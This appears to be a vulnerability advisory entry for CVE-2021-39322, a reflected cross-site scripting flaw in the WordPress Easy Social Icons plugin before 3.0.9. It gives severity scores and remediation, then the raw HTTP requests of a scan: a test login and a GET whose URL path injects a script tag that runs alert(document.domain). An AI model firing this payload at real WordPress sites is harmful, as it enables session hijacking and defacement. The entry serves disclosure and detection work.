| Title | WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.13873 |
| CVE ID | CVE-2021-39322 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 wordpress wp-plugin authenticated wpscan cybernetikz vuln |
The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of $_SERVER['PHP_SELF'] in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=sDVb14&pwd=bD25JO&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php/%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/?page=cnss_social_icon_page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6,2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39322.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39322.pcap
N/AN/A